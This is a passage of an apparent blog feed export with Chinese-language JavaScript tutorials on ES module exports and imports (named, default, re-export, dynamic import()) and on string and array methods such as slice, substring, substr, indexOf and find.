class="line">&#125;</span><br></pre></td></tr></table></figure><p>“命名导出”方式2（等同于 方式1，即先”声明”，再通过”export关键字”将”对象字面量{name,fn}”导出。也可理解为将需要暴露的 变量名(或函数名) 都放入 export{ } 中一起 导出）</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> name = <span class="string">&#x27;张三&#x27;</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;这里是 toolA.js&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">export</span>&#123;</span><br><span class="line">    name,fn    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>方式3，<br>【“default默认导出”允许将一个模块中的主要功能（通常是一个函数、类或对象）标记为默认导出；<br>一个模块只能有一个默认导出；<br>export default 后面应该跟着一个表达式（如函数的赋值表达式）或值。不能跟函数定义（函数体）<br>默认导出的好处在于，在导入时可以使用任何名称，导入时不需要通过 {}解构。】<br>可将 需要暴露的数据放入 obj 对象中，default 暴露obj。那么，在 大模块tool.js中 则不需要 import {变量名1，函数名1…} 引入，而是直接 import  某对象名（任意名称） 引入。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> name = <span class="string">&#x27;张三&#x27;</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;这里是 toolA.js&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">let</span> obj = &#123;</span><br><span class="line">    <span class="attr">name</span>: name,</span><br><span class="line">    <span class="attr">fn</span>: fn</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> obj;<span class="comment">// 【默认导出obj对象，注意有 default 关键字。另外，default对象形式 导出，在另一个js文件中 要以import “任意对象名” 接收。通过“任意对象名.方法名”使用。】</span></span><br></pre></td></tr></table></figure><div class="tip sync"><p>【补充：<br>export default getAvatar &#x3D; () &#x3D;&gt; console.log(‘111’)；<br>导出时使用“默认导出”，导入时可以使用任意的名称，不需要{}解构。如import fnn from ‘.&#x2F;<em>.js’后，直接fnn(); &#x2F;&#x2F;111<br>export const getAvatar &#x3D; () &#x3D;&gt; console.log(‘111’)；<br>导出时使用“命名导出”，导入时需要使用与导出名称相匹配名称，且要加上 {} 解构。如import {getAvatar} from ‘.&#x2F;</em>.js’后，getAvatar(); &#x2F;&#x2F;111<br>】</p></div><p>这样做对 后续演示 影响较大，这里直接展示 大模块tool.js更改后的代码：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> obj <span class="keyword">from</span> <span class="string">&#x27;./toolA.js&#x27;</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(obj);<span class="comment">// &#123;name: &#x27;张三&#x27;,  fn: ƒ&#125;</span></span><br><span class="line">obj.<span class="title function_">fn</span>();<span class="comment">// &quot;这里是 toolA.js&quot;</span></span><br></pre></td></tr></table></figure><p>》》小模块toolB.js 暴露数据（方式 同理toolA.js）：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">gn</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;这里是 toolB.js&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">var</span> age= <span class="number">18</span>;</span><br></pre></td></tr></table></figure><p>》》大模块tool.js 引入、暴露数据：<br>方式1：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 导入【注意：&#123;&#125;中是 变量名(或函数名) 的 集合，整体 非对象】</span></span><br><span class="line"><span class="keyword">import</span> &#123;fn,name&#125; <span class="keyword">from</span> <span class="string">&#x27;./toolA.js&#x27;</span></span><br><span class="line"><span class="keyword">import</span> &#123;gn,age&#125; <span class="keyword">from</span> <span class="string">&#x27;./toolB.js&#x27;</span></span><br><span class="line"><span class="comment">// 导出【注意：&#123;&#125;中是 变量名(或函数名) 的 集合，整体 可理解为一个对象】</span></span><br><span class="line"><span class="keyword">export</span> &#123;</span><br><span class="line">    fn,name,gn,age</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可简写为，方式2（引入 每个 小模块 暴露出的所有数据、并直接 暴露，tool.js作用是数据中转。）</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> * <span class="keyword">from</span> <span class="string">&#x27;./toolA.js&#x27;</span></span><br><span class="line"><span class="keyword">export</span> * <span class="keyword">from</span> <span class="string">&#x27;./toolB.js&#x27;</span></span><br></pre></td></tr></table></figure><p>》》入口文件main.js 引入数据：<br>方式1：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123;name ,age , fn, gn&#125; <span class="keyword">from</span> <span class="string">&#x27;./tools/tool.js&#x27;</span>;<span class="comment">//导入的变量名不能更改！必须与 大模块tool.js暴露出的 变量名(或函数名) 对应。</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(name);<span class="comment">// 张三</span></span><br><span class="line"><span class="title function_">fn</span>();<span class="comment">// &quot;这里是 toolA.js&quot;</span></span><br></pre></td></tr></table></figure><p>这里可为 “大模块tool.js暴露出的变量名(或函数名)” 取 别名a,b,f,g，在main中直接使用 别名（之后该别名 默认为 常量，不能被重新赋值）</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123;name <span class="keyword">as</span> a,age <span class="keyword">as</span> b,fn <span class="keyword">as</span> f,,gn <span class="keyword">as</span> g&#125; <span class="keyword">from</span> <span class="string">&#x27;./tools/tool.js&#x27;</span></span><br><span class="line"><span class="comment">// a = &#x27;zhang&#x27;;  // 别名a是常量，不能被赋值！</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a);<span class="comment">// 张三</span></span><br></pre></td></tr></table></figure><p>【注意：通过 “import {变量名} from ‘路径’ ”引入，该语句只能写在 js文件 最上面，而不能 写在 执行语句 中。如若要按需引入，可以通过 变量 接收 import()的返回值（它是个promise对象）】<br>示例：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 需求：当你flag是true的时候 导入a.js  当你flag是false的时候 导入b.js</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> flag = <span class="literal">true</span>;</span><br><span class="line">    <span class="keyword">var</span> res;</span><br><span class="line">    <span class="keyword">if</span> (flag) &#123;</span><br><span class="line">        <span class="comment">// import &#x27;obj1&#x27; from &#x27;./a.js&#x27;; // 导入语句只能写在最上面 </span></span><br><span class="line">        res = <span class="keyword">import</span>(<span class="string">&#x27;./a.js&#x27;</span>);</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(res);<span class="comment">// import()函数 导入的是一个promise对象</span></span><br><span class="line">        res.<span class="title function_">then</span>(<span class="function"><span class="params">value</span> =&gt;</span> &#123;</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(value.<span class="property">default</span>);<span class="comment">// 当a.js中数据暴露方式 是export default obj时，value会添加一个default属性，其值是obj</span></span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(value);<span class="comment">// 当a.js中数据暴露方式 不是export default obj时，a.js暴露出几个变量(或函数) ，value就会添加几个属性，属性名 与a.js暴露的 变量名(或函数名) 一致。</span></span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>();</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>字符串与数组</title>
      <link href="/posts/zi-fu-chuan-yu-shu-zu/"/>
      <url>/posts/zi-fu-chuan-yu-shu-zu/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="一、字符串操作"><a href="#一、字符串操作" class="headerlink" title="一、字符串操作"></a>一、字符串操作</h2><h3 id="切割、合并、截取"><a href="#切割、合并、截取" class="headerlink" title="切割、合并、截取"></a>切割、合并、截取</h3><h4 id="split"><a href="#split" class="headerlink" title="split"></a>split</h4><p>函数：String.split(separator, ?limit)</p><p>功能：使用一个指定的分隔符把一个字符串分割存储到数组</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> str = <span class="string">&#x27;jpg|bmp|gif|ico|png&#x27;</span>;</span><br><span class="line"><span class="keyword">let</span> arr = str.<span class="title function_">split</span>(<span class="string">&#x27;|&#x27;</span>); <span class="comment">// [jpg, bmp, gif, ico, png]</span></span><br><span class="line"><span class="keyword">let</span> arr = str.<span class="title function_">split</span>(<span class="string">&#x27;|&#x27;</span>, <span class="number">2</span>); <span class="comment">// [jpg, bmp] - 第二个参数用来限制数组大小</span></span><br></pre></td></tr></table></figure><h4 id="concat"><a href="#concat" class="headerlink" title="concat"></a>concat</h4><p>函数：String.concat(…strings)</p><p>功能：将多个字符串依次并在String的后面</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;start&#x27;</span>.<span class="title function_">concat</span>(<span class="string">&#x27;, &#x27;</span>, <span class="string">&#x27;hello&#x27;</span>, <span class="string">&#x27; world&#x27;</span>) <span class="comment">// start, hello world</span></span><br></pre></td></tr></table></figure><h4 id="slice、substring、substr比较"><a href="#slice、substring、substr比较" class="headerlink" title="slice、substring、substr比较"></a>slice、substring、substr比较</h4><h5 id="函数：String-slice-start-end"><a href="#函数：String-slice-start-end" class="headerlink" title="函数：String.slice(start, ?end)"></a>函数：String.slice(start, ?end)</h5><p>start：必填。指定子字符串开始位置，默认为0。可以为负数，-1表示最后一位，-2表示倒数第二位。<br>end：可选。指定子字符串结束位置，可以为负数。如果未指定此参数，则表示从start到字符串结束的子字符串。<br>return：返回子字符串，包含从start到end-1的所有字符，长度 为“end减start”，即“包前 不包后”！</p><h5 id="函数：String-substring-start-end"><a href="#函数：String-substring-start-end" class="headerlink" title="函数：String.substring( start, ?end)"></a>函数：String.substring( start, ?end)</h5><p>start：必填。非负整数，指定子字符串开始位置。如果start为负数，自动替换为0<br>end：可选。非负整数，指定子字符串结束位置。如果end为负数，自动替换为0<br>return：返回子字符串，包含从start到end-1的所有字符，长度 为“end减start”，即“包前 不包后”！<br>如果start比end大，那么会先交换两个参数再截取字符串</p><h5 id="函数：String-substr-from-length"><a href="#函数：String-substr-from-length" class="headerlink" title="函数：String.substr( from, ?length)"></a>函数：String.substr( from, ?length)</h5><p>from：必填。指定子字符串开始位置。可以为负数，-1表示最后一位，-2表示倒数第二位。<br>length：可选。待选取字符串的长度。0或负数返回空字符串，不指定，则子字符串延续到字符串的最后。<br>return：返回子字符串，包含从start起，截取的length长度的字符串。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">slice</span>() <span class="comment">// 012345</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substring</span>() <span class="comment">// 012345</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substr</span>() <span class="comment">// 012345</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">slice</span>(<span class="number">1</span>) <span class="comment">// 12345</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substring</span>(<span class="number">1</span>) <span class="comment">// 12345</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substr</span>(<span class="number">1</span>) <span class="comment">// 12345</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">slice</span>(-<span class="number">2</span>) <span class="comment">// 45</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substring</span>(-<span class="number">2</span>) <span class="comment">// 012345| * 负数替换为0，变成substring(0)</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substr</span>(-<span class="number">2</span>) <span class="comment">// 45</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">slice</span>(<span class="number">1</span>, <span class="number">3</span>) <span class="comment">// 12| *  位置1到3-1的字符串</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substring</span>(<span class="number">1</span>, <span class="number">3</span>) <span class="comment">// 12| * 位置1到3-1的字符串</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substr</span>(<span class="number">1</span>, <span class="number">3</span>) <span class="comment">// 123| * 从1起长度为3的字符串</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">slice</span>(<span class="number">3</span>, <span class="number">1</span>) <span class="comment">// &#x27;&#x27;| * 从位置3到1，截取不到字符</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substring</span>(<span class="number">3</span>, <span class="number">1</span>) <span class="comment">// 12| * start,end互换，变成substring(1，3)</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substr</span>(<span class="number">3</span>, <span class="number">1</span>) <span class="comment">// 3| * 从位置3起截取，长度为1</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">slice</span>(-<span class="number">3</span>, -<span class="number">1</span>) <span class="comment">// 34| * 倒数第3位到（倒数第1位-1）的字符串</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substring</span>(-<span class="number">3</span>, -<span class="number">1</span>) <span class="comment">// &#x27;&#x27;| * 负数替换为0，变成substring(0, 0)</span></span><br><span class="line"><span class="string">&#x27;012345&#x27;</span>.<span class="title function_">substr</span>(-<span class="number">3</span>, -<span class="number">1</span>) <span class="comment">// &#x27;&#x27;| * length为负数，没有长度，返回空字符串</span></span><br></pre></td></tr></table></figure><h5 id="小结："><a href="#小结：" class="headerlink" title="小结："></a>小结：</h5><ol><li>slice, substring根据位置截取字符串；substr根据长度截取。</li><li>substring的start&#x2F;end的有效值为非负整数，slice的start&#x2F;end, substr的from可以为负数。</li><li>第二个参数不提供（end, length)，则截取到字符串末尾。</li><li>只有substring会 根据大小自动调整start, end的先后，以截取到有效字符串。</li></ol><h3 id="查找替换"><a href="#查找替换" class="headerlink" title="查找替换"></a>查找替换</h3><h4 id="indexOf、lastIndexOf"><a href="#indexOf、lastIndexOf" class="headerlink" title="indexOf、lastIndexOf"></a>indexOf、lastIndexOf</h4><p>函数：String.indexOf(searchString, ?position), String.lastIndexOf(searchString, ?position)</p><p>功能：indexOf从字符串开始位置向后 查找指定字符串的位置，lastIndexOf相反，从字符串尾部向前查找</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;hello world&#x27;</span>.<span class="title function_">indexOf</span>(<span class="string">&#x27;o&#x27;</span>) <span class="comment">// 4</span></span><br><span class="line"><span class="string">&#x27;hello world&#x27;</span>.<span class="title function_">indexOf</span>(<span class="string">&#x27;llo&#x27;</span>)<span class="comment">//2  返回&#x27;llo&#x27;子串 首字母 的索引</span></span><br><span class="line"><span class="string">&#x27;hello world&#x27;</span>.<span class="title function_">indexOf</span>(<span class="string">&#x27;o&#x27;</span>, <span class="number">5</span>) <span class="comment">// 7| * 从空格处(index=5)开始向后查找</span></span><br><span class="line"><span class="string">&#x27;hello world&#x27;</span>.<span class="title function_">lastIndexOf</span>(<span class="string">&#x27;o&#x27;</span>, <span class="number">7</span>) <span class="comment">// 7</span></span><br><span class="line"><span class="string">&#x27;hello world&#x27;</span>.<span class="title function_">lastIndexOf</span>(<span class="string">&#x27;o&#x27;</span>, <span class="number">5</span>) <span class="comment">// 4| * 从空格处(index=5)开始向前查找</span></span><br></pre></td></tr></table></figure><h4 id="charAt"><a href="#charAt" class="headerlink" title="charAt"></a>charAt</h4><p>函数：String.charAt(index)</p><p>功能：返回指定位置的字符。字符串中第一个字符的下标是0。如果参数 index 不在 0 与 string.length 之间，该方法将返回一个空字符串’’若通过String[索引]方式查找不到 目标字符，返回的是undefined</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;0123456&#x27;</span>.<span class="title function_">charAt</span>(<span class="number">4</span>) <span class="comment">// 4</span></span><br><span class="line"><span class="string">&#x27;0123456&#x27;</span>.<span class="title function_">charAt</span>(<span class="number">10</span>) <span class="comment">// &#x27;&#x27;</span></span><br></pre></td></tr></table></figure><h4 id="charCodeAt"><a href="#charCodeAt" class="headerlink" title="charCodeAt"></a>charCodeAt</h4><p>函数：String.charCodeAt(index)</p><p>功能：返回 指定位置 字符 在 Unicode字符集上对应 码点的 十进制值（相当于下面String.fromCharCode() 的逆操作！）。这个返回值是 0 - 65535 之间的整数。如果参数 index 不在 0 与 string.length 之间，该方法将返回NaN。</p><p>注意，charCodeAt 方法返回的 Unicode 码点不会大于 65536（0xFFFF），也就是说，只返回两个字节的字符的码点。如果遇到码点大于 65536 的字符（四个字节的字符），必需连续使用两次 charCodeAt，不仅读入charCodeAt(i)，还要读入 charCodeAt(i+1)，将两个值放在一起，才能得到准确的字符。</p><h5 id="拓展：或者直接使用codePointAt-，codePointAt-可以-返回-大于-0xFFFF-65535-的-Unicode-值的完整值。"><a href="#拓展：或者直接使用codePointAt-，codePointAt-可以-返回-大于-0xFFFF-65535-的-Unicode-值的完整值。" class="headerlink" title="拓展：或者直接使用codePointAt() ，codePointAt() 可以 返回 大于 0xFFFF (65535) 的 Unicode 值的完整值。"></a>拓展：或者直接使用codePointAt() ，codePointAt() 可以 返回 大于 0xFFFF (65535) 的 Unicode 值的完整值。</h5><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;0123456&#x27;</span>.<span class="title function_">charCodeAt</span>(<span class="number">4</span>) <span class="comment">// 52&#x27;0123456&#x27;.charCodeAt(-1) // NaN</span></span><br><span class="line"><span class="string">&#x27;0123456&#x27;</span>.<span class="title function_">charCodeAt</span>(<span class="number">10</span>) <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><h4 id="fromCharCode"><a href="#fromCharCode" class="headerlink" title="fromCharCode"></a>fromCharCode</h4><p>函数：String.fromCharCode(n1, n2, …, nX)</p><p>功能：可接受一个指定的 Unicode 值，然后返回一个字符串。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> n = <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">72</span>,<span class="number">69</span>,<span class="number">76</span>,<span class="number">76</span>,<span class="number">79</span>);<span class="comment">//HELLO</span></span><br></pre></td></tr></table></figure><h4 id="replace"><a href="#replace" class="headerlink" title="replace"></a>replace</h4><p>函数：String.replace(searchValue, replaceValue)</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;bone, alone, phone&#x27;</span>.<span class="title function_">replace</span>(<span class="string">&#x27;one&#x27;</span>, <span class="number">1</span>) <span class="comment">// b1, alone, phone</span></span><br><span class="line"><span class="string">&#x27;bone, alone, phone&#x27;</span>.<span class="title function_">replace</span>(<span class="regexp">/one/g</span>, <span class="number">1</span>) <span class="comment">// b1, al1, ph1</span></span><br></pre></td></tr></table></figure><h4 id="trim"><a href="#trim" class="headerlink" title="trim"></a>trim</h4><p>函数：String.trim()</p><p>功能：去除字符串首尾空格</p><p>trim在ES5已定义，且大多数浏览器已支持，不再需要自己实现。详见：trim on MDN</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;hello&#x27;</span>.<span class="title function_">trim</span>() <span class="comment">// &#x27;hello&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="字符串操作-其它方法"><a href="#字符串操作-其它方法" class="headerlink" title="字符串操作 其它方法"></a>字符串操作 其它方法</h3><h4 id="strartsWith-endsWith"><a href="#strartsWith-endsWith" class="headerlink" title="strartsWith&#x2F;endsWith"></a>strartsWith&#x2F;endsWith</h4><p>函数：String.strartsWith()&#x2F;String.endsWith()。功能：判断 字符串首、尾是否以 目标子字符串 开头、结尾。返回boolean值。</p><h4 id="toUpperCase-toLowerCase"><a href="#toUpperCase-toLowerCase" class="headerlink" title="toUpperCase&#x2F;toLowerCase"></a>toUpperCase&#x2F;toLowerCase</h4><p>函数：String.toUpperCase()&#x2F;String.toLowerCase()。功能：字母转大、小写。</p><h4 id="注意："><a href="#注意：" class="headerlink" title="注意："></a>注意：</h4><p>通过对 string[索引] 赋值方式，并不能改变 目标string，只能对 新变量 并进行赋值才能改变。要与数组操作区分开！！！</p><h2 id="二、数组操作"><a href="#二、数组操作" class="headerlink" title="二、数组操作"></a>二、数组操作</h2><h3 id="数组整体-操作"><a href="#数组整体-操作" class="headerlink" title="数组整体 操作"></a>数组整体 操作</h3><h4 id="join"><a href="#join" class="headerlink" title="join"></a>join</h4><p>函数：Array.join(?separator)</p><p>功能：通过指定的分隔符将数组项连接合并为一个字符串，参数不传则默认为”,”</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> arr = [<span class="string">&#x27;jpg&#x27;</span>, <span class="string">&#x27;bmp&#x27;</span>, <span class="string">&#x27;gif&#x27;</span>, <span class="string">&#x27;ico&#x27;</span>, <span class="string">&#x27;png&#x27;</span>]</span><br><span class="line"><span class="keyword">let</span> str = arr.<span class="title function_">join</span>(<span class="string">&#x27;|&#x27;</span>) <span class="comment">// jpg|bmp|gif|ico|png</span></span><br></pre></td></tr></table></figure><h4 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h4><p>功能：将函数项颠倒顺序，会改变 原数组</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ary = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]</span><br><span class="line">ary.<span class="title function_">reverse</span>()</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary) <span class="comment">// [3,2,1]</span></span><br></pre></td></tr></table></figure><h4 id="concat-1"><a href="#concat-1" class="headerlink" title="concat"></a>concat</h4><p>功能：将多个数组合并，不改变原数组</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ary = [<span class="string">&#x27;cat&#x27;</span>]</span><br><span class="line"><span class="keyword">const</span> newary = ary.<span class="title function_">concat</span>([<span class="string">&#x27;hat&#x27;</span>], [<span class="string">&#x27;bat&#x27;</span>, <span class="string">&#x27;fat&#x27;</span>])</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(newary) <span class="comment">// [&quot;cat&quot;, &quot;hat&quot;, &quot;bat&quot;, &quot;fat&quot;]</span></span><br></pre></td></tr></table></figure><h3 id="数组项-操作"><a href="#数组项-操作" class="headerlink" title="数组项 操作"></a>数组项 操作</h3><p>（3种 查找 数组元素的方法：includes、indexOf&#x2F;lastIndexOf、Array.find&#x2F;Array.findIndex。前2种也适用于 查找字符串！！）</p><h4 id="includes"><a href="#includes" class="headerlink" title="includes"></a>includes</h4><p>用处：判断 数组 是否包含 指定的元素。或者 字符串 是否包含指定的 子字符串。返回boolean值</p><h4 id="indexOf-lastIndexOf"><a href="#indexOf-lastIndexOf" class="headerlink" title="indexOf, lastIndexOf"></a>indexOf, lastIndexOf</h4><p>功能：indexOf（searchElement, position），searchElement为需要查找的元素，position为开始查找的位置。</p><p>从前往后查找满足条件的 第一项索引，找到了就返回该索引，找不到 返回-1。lastIndexOf相反。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ary = [<span class="string">&quot;cat&quot;</span>, <span class="string">&quot;hat&quot;</span>, <span class="string">&quot;cat&quot;</span>, <span class="string">&quot;fat&quot;</span>]</span><br><span class="line"><span class="keyword">const</span> index = ary.<span class="title function_">indexOf</span>(<span class="string">&#x27;cat&#x27;</span>) <span class="comment">// 0</span></span><br><span class="line"><span class="keyword">const</span> lastIndex = ary.<span class="title function_">lastIndexOf</span>(<span class="string">&#x27;cat&#x27;</span>) <span class="comment">// 2</span></span><br></pre></td></tr></table></figure><h4 id="Array-find"><a href="#Array-find" class="headerlink" title="Array.find"></a>Array.find</h4><p>遍历数组中的元素，找到满足条件的元素，就返回 第一个 满足该条件元素的 值；找不到，就返回undefined。</p><p>有3个参数。item：每一次迭代查找的数组元素。index：每一次迭代查找的数组元素索引。array：被查找的数组。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="number">12</span>];</span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">find</span>(<span class="function">(<span class="params">item, index, arr</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">return</span> item &gt; <span class="number">4</span>;</span><br><span class="line">&#125;);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res);<span class="comment">//6 数组中 大于4的 第一个元素 是6 </span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">find</span>(<span class="function">(<span class="params">item, index, arr</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">return</span> item &gt; <span class="number">14</span>;</span><br><span class="line">&#125;);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res);<span class="comment">//undefined 数组中 不包含 大于14的元素</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">find</span>(<span class="function">(<span class="params">item, index, arr</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">return</span> item == <span class="number">6</span>;<span class="comment">//【判断 数组中是否包含 某元素！】</span></span><br><span class="line">&#125;);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res);<span class="comment">//6  数组中 包含 值为6 的元素</span></span><br></pre></td></tr></table></figure><h4 id="Array-findIndex"><a href="#Array-findIndex" class="headerlink" title="Array.findIndex"></a>Array.findIndex</h4><p>遍历数组中的元素，找到满足条件的元素，就返回 第一个 满足该条件元素的 索引；找不到，就返回-1。三个参数同上！</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 